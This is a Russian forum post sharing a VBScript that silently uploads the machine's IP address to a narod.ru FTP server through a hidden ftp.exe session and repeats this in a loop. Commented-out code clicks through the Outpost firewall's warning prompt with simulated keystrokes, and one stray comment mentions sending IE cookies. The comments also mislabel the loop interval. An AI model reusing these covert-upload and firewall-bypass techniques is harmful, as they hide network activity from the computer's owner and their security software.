Показать сообщение отдельно

  #5  
Старый 06.01.2010, 02:40
cheater_man
Постоянный
Регистрация: 13.11.2009
Сообщений: 437
Провел на форуме:
709575

Репутация: 17
По умолчанию

VBS script.Выручал оч много раз
Код:
On Error Resume Next
newfolderpath = "C:\WEB" 'Папка где находится скрипт
login="фтп-логин"
password="фтп-пасс"
ftpp="ftp.narod.ru"
'=================================================  ===
' Узнаем текущий IP и пишем его в файл
'=================================================  ===
set objLocator = WScript.CreateObject("WbemScripting.SWbemLocator")
    set objService = objLocator.ConnectServer (server, "", username, password)
    strQuery = "Select IPAddress from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE"
    set objEnumerator = objService.ExecQuery(strQuery)
    for each obj in objEnumerator
        if Not IsNull(obj.IPAddress) then 
            for i=LBound(obj.IPAddress) to UBound(obj.IPAddress)
                GetIPaddress = obj.IPAddress(i)
'Узнаем текущий (реальный) наш IP
Str = GetIPaddress
           next
        end if
next
FileDestination = "ip.txt"
Set FSO = CreateObject("Scripting.FileSystemObject")
Set Destination = FSO.CreateTextFile(FileDestination)
Destination.WriteLine Str
set Destination = Nothing
Set FSO = Nothing
set objLocator = Nothing
'=================================================  ==================================================  ============
'Отправляем на фтп текущий IP
'Отсылаем на ФТП на narod.ru
'Создаем файл сценария для FTP.EXE 
set FSO = CreateObject("Scripting.FileSystemObject") 
Set WSHshell = WScript.CreateObject("WScript.Shell") 
Set sDir = WSHshell.Environment("Process")    ' - находим путь к папке Windows 
Set cScript = fso.CreateTextFile (sDir("windir") & "\FTp.scr")  '-Обозначаем место, где будет создан и сохранен файл сценария (в данном случае - папочка виндовз) 
cScript.WriteLine "Open " & ftpp & "" '- Открываем соединение с сайтом ftp.narod.ru на 21 порту 
cScript.WriteLine "" & login & "" '- Имя пользователя 
cScript.WriteLine "" & password & "" '- Пароль 
cScript.WriteLine "drive C:" '- Выбраем диск С
cScript.WriteLine "lcd " & newfolderpath ' - Устанавливаем папку, откуда будем отсылать данные
cScript.WriteLine "prompt" ' - Отключаем всякий диалог по каждому файлу
cScript.WriteLine "binary" ' - метод передачи файлов по FTP
cScript.WriteLine "PUT ip.txt"'- Отправляем IP
cScript.WriteLine "bye" '-разрываем соединение с ftp.narod.ru 
cScript.Close '- Конец записи в файл сценария 
' Запускаем FTP-сценарий 
WSHshell.Run sDir("windir") & "\system32" & "\FTP.ExE -s:" & sDir("windir") & "\FTp.scr", 0
' Обходим фаер (в данном случае Outpost, если надо, раскоментируйте с помощью символа " ' " все строчки, что ниже, до '---------------------------)
'set w=CreateObject("WScript.Shell")
'a=0
'do
'r=W.AppActivate("ftp.exe")
'if r then
'a=1
'w.SendKeys "{tab 2}"
'w.SendKeys "{enter}"
'end if
'loop until a=1
'set w=Nothing
'---------------------------
Set fso = Nothing 
Set WSHshell  = Nothing 
'=================================================  ===
'А теперь запускаем цикл проверки на изменение IP
'=================================================  ===
Const ForReading = 1
Str=1
s=2
if Str<>s then
While 1
WScript.Sleep 10000 ' Сканим на изменение IP раз в 15 минут
    set objLocator = WScript.CreateObject("WbemScripting.SWbemLocator")
    set objService = objLocator.ConnectServer (server, "", username, password)
    strQuery = "Select IPAddress from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE"
    set objEnumerator = objService.ExecQuery(strQuery)
    for each obj in objEnumerator
        if Not IsNull(obj.IPAddress) then 
            for i=LBound(obj.IPAddress) to UBound(obj.IPAddress)
                GetIPaddress = obj.IPAddress(i)
'Узнаем текущий (реальный) наш IP
Str = GetIPaddress
           next
        end if
next
Set FSO = Nothing
set objLocator = Nothing
Set FSO = CreateObject("Scripting.FileSystemObject")
Set ts = FSO.OpenTextFile("ip.txt", ForReading) 
   s = ts.ReadLine 
   ts.Close
Set FSO = Nothing
Set ts = Nothing
if Str<>s then
FileDestination = "ip.txt"
Set FSO = CreateObject("Scripting.FileSystemObject")
Set Destination = FSO.CreateTextFile(FileDestination)
Destination.WriteLine Str
set Destination = Nothing
Set FSO = Nothing
'=================================================  ==================================================  ============
'Отправляем на фтп новый IP (уже в цикле, каждые 15 минут, в случае, если IP изменился)
'Отсылаем на ФТП на narod.ru
'Создаем файл сценария для FTP.EXE 
set FSO = CreateObject("Scripting.FileSystemObject") 
Set WSHshell = WScript.CreateObject("WScript.Shell") 
Set sDir = WSHshell.Environment("Process")    ' - находим путь к папке Windows 
Set cScript = fso.CreateTextFile (sDir("windir") & "\FTp.scr")  '-Обозначаем место, где будет создан и сохранен файл сценария (в данном случае - папочка виндовз) 
cScript.WriteLine "Open " & ftpp & "" '- Открываем соединение с сайтом ftp.narod.ru на 21 порту 
cScript.WriteLine "" & login & "" '- Имя пользователя 
cScript.WriteLine "" & password & "" '- Пароль 
cScript.WriteLine "drive C:" '- Выбраем диск С
cScript.WriteLine "lcd " & newfolderpath ' - Устанавливаем папку, откуда будем отсылать данные
cScript.WriteLine "prompt" ' - Отключаем всякий диалог по каждому файлу
cScript.WriteLine "binary" ' - метод передачи файлов по FTP
cScript.WriteLine "PUT ip.txt"'- Отправляем куки от IE
cScript.WriteLine "bye" '-разрываем соединение с ftp.narod.ru 
cScript.Close '- Конец записи в файл сценария 
' Запускаем FTP-сценарий 
WSHshell.Run sDir("windir") & "\system32" & "\FTP.ExE -s:" & sDir("windir") & "\FTp.scr", 0
' Обходим фаер (в данном случае Outpost, если надо, раскоментируйте с помощью символа " ' " все строчки, что ниже, до '---------------------------)
'set w=CreateObject("WScript.Shell")
'a=0
'do
'r=W.AppActivate("ftp.exe")
'if r then
'a=1
'w.SendKeys "{tab 2}"
'w.SendKeys "{enter}"
'end if
'loop until a=1
'set w=Nothing
'---------------------------
Set fso = Nothing 
Set WSHshell  = Nothing 
end if
Wend
end if
 
Ответить с цитированием